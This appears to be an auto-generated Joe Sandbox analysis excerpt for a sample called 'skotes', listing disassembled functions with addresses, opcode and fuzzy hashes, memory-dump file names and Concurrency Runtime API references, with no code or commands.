Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6412c9df2d677ae33cfb98eacdb4d8203504afca48aa9c9de595bf3ecf0c7126
Instruction ID: fe01d722e65f054f3e8284dc2f3dcb022c784b8ea30041a2e486ae8b7136b118
Opcode Fuzzy Hash: 6412c9df2d677ae33cfb98eacdb4d8203504afca48aa9c9de595bf3ecf0c7126
Instruction Fuzzy Hash: 0311E0AB14C521FFA102C9827B3D9FE2A9FF3963703208416FCC7CA501E25A4AC5016F

Function 05010DF0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc8c804b4ec73ff1cf0e89765c721416f3c0dd09b12c79863782d2dd1115d4bd
Instruction ID: 47d2ff30316ea27966aee7cd6d3648a8a9fa672e6495cd165564d93d8e2ec275
Opcode Fuzzy Hash: dc8c804b4ec73ff1cf0e89765c721416f3c0dd09b12c79863782d2dd1115d4bd
Instruction Fuzzy Hash: E001DFBB04C124BFA142C9867B3D6FE6ADFF3973307308457F88784442A2954AD8112E

Function 05010E24 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c9bfc0d1540972c688ec857423b6384271aa9089a78dbaf9e833dfb90693241
Instruction ID: 66b8ab0bf51253f2d933d6399dd2772fbe1a526e91f85e33c89f3f2b01ace03f
Opcode Fuzzy Hash: 0c9bfc0d1540972c688ec857423b6384271aa9089a78dbaf9e833dfb90693241
Instruction Fuzzy Hash: F001F5B710C164EFA242CD967A3C5BE3BDFFB663303204097F8C2CA051D65685D5816E

Function 05010E08 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b79d015bc461d672e23068618924bea16d47465882357b81dfafea2f08d0d27c
Instruction ID: 1912e5e0b58c51055264277154522d3785fd0bff1c6afd63aa2c4c8ab5326fbb
Opcode Fuzzy Hash: b79d015bc461d672e23068618924bea16d47465882357b81dfafea2f08d0d27c
Instruction Fuzzy Hash: 750147B710C214EF5141C996763D5BE6ACFA79A2303208157FC87CA141924549C4416E

Function 05010E5B Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9579a005c417a3ff4b0ae31341eabb324950cd7073ed1e324551409647404615
Instruction ID: 2b4c263321d9b660d1304aa75902784f293778edce53a9e79118f00401ef388c
Opcode Fuzzy Hash: 9579a005c417a3ff4b0ae31341eabb324950cd7073ed1e324551409647404615
Instruction Fuzzy Hash: BCF0A7A704C115EF6100D8927B7EABE6ADFE7D62303318997B8C385451624589D5416F

Function 05010E9D Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 666251a92ab03e9fb6db4d125eb7f232223fe0ee8dab0c1b78e2cd0931ce518f
Instruction ID: 306c1256ee15edf1648e9169a7f3352eb12afa49568a42bbf413472c3dc21b31
Opcode Fuzzy Hash: 666251a92ab03e9fb6db4d125eb7f232223fe0ee8dab0c1b78e2cd0931ce518f
Instruction Fuzzy Hash: BCE02BA714D225EF6100DC93B77DABF66DFA7A6330331468BB8C38505162454AC9457F

Function 05010E83 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c332d55ba8a916e185cedfa0660cea768dc3155a64bb401a8f473e84cadc9e
Instruction ID: 46be513cd93dcdebf61ddd385057e89e45bc7ce20f9d5301013ef7910ebb00fc
Opcode Fuzzy Hash: a3c332d55ba8a916e185cedfa0660cea768dc3155a64bb401a8f473e84cadc9e
Instruction Fuzzy Hash: ADE02B6741D5189FA141CDA2363E6BF3BD6E76633173048B6F8C3C3411919982DE436E

Function 05010E74 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0112513de994f59f080311259a304c371b99839ed1691d10c43d8ddde1e3926
Instruction ID: f2fcb9f84dd6c182f1402c1d979ecf2ebd6af1efafdfa0c7b98722d938d7cf5a
Opcode Fuzzy Hash: a0112513de994f59f080311259a304c371b99839ed1691d10c43d8ddde1e3926
Instruction Fuzzy Hash: 80E0D8A704D114EF6041D9933B3E6BE66DFA7963303308497B8C38540152494ADD513F

Function 05010EAE Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cf64d13297baf0abe9d11ea61f3e110081bfa8520d39abc848e5c0ca617d166
Instruction ID: 91fb5d1b0dbc6c96dfd3536339d9a844de8479d621ce6e281beeff76806a77ec
Opcode Fuzzy Hash: 7cf64d13297baf0abe9d11ea61f3e110081bfa8520d39abc848e5c0ca617d166
Instruction Fuzzy Hash: 08E0CD6301C0145F5142C8D2326E1BE67D6BBA23333358457E9C2C6442D11D83DB833F

Function 05010ECC Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2975777033.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5010000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 045cc24a6290ace741479cf84c4052611c03cb39a9fd1fac698fd42b7df1cc18
Instruction ID: cd375bea2dcaf69676472cf6f0aa33a6ff6892735406d702544cf8e3c4b514bc
Opcode Fuzzy Hash: 045cc24a6290ace741479cf84c4052611c03cb39a9fd1fac698fd42b7df1cc18
Instruction Fuzzy Hash: E9E0263310C3A28FC316D571142B17FFBA23E1221136840BFE082C3882E21A82A99352

Non-executed Functions

Function 009B0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009B0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009B0F62

Part of subcall function 009B265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 009B2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 009B0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009B0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009B103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009B106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 009B10C1

Strings

(, xrefs: 009B0F22

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: ca7eac8ea069e2150d6367eff44dd5080b339022bb9fe9efbc2a1c3149c86af4
Instruction ID: f752160a4ace87d95e619b38e192f25ff6f73ffae801b389ac26b8664ddca697
Opcode Fuzzy Hash: ca7eac8ea069e2150d6367eff44dd5080b339022bb9fe9efbc2a1c3149c86af4
Instruction Fuzzy Hash: 00B15B70A04615EFDB28CF58DA90BBEB7B8FF84310F15816EE905AB251D730AD80CB90

Function 009B1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009B2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 009B2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 009B1614

Part of subcall function 009B2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 009B2E39
Part of subcall function 009B2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 009B2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 009B1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 009B17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 009B17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 009B17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 009B180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 009B181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 009B1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 009B183B

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 828516c5e3beddc393c1374dae3c419eae25c85c2745ac9c293bdd77f7a26db0
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 70816B71E00226DFCB18CFA8C694AADB7F5FF88324B5546ADD445AB701CB70AD52CB84

Function 009BEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009BEC81

Part of subcall function 009B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 009B8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 009BECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 009BECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 009BED0C

Part of subcall function 009BE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 009BE7D7
Part of subcall function 009BE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 009BE86F
Part of subcall function 009BE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 009BE879
Part of subcall function 009BE7AF: Concurrency::location::_Assign.LIBCMT ref: 009BE8AD
Part of subcall function 009BE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 009BE8B5

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: ad0174951f19d1d5557e6125285caebc38e4cd8ba37f963daa8db57661a57da8
Instruction ID: 3079c8e030297a8919a60f89b5d1e9da4beb501281c754914e2f7215a97258c6
Opcode Fuzzy Hash: ad0174951f19d1d5557e6125285caebc38e4cd8ba37f963daa8db57661a57da8
Instruction Fuzzy Hash: BB517031A002099BDF14DF50C995BEDB7B9AF84320F154069E9066B3D6CBB1AE45CBA1

Function 009ACB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 009ACBAA

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
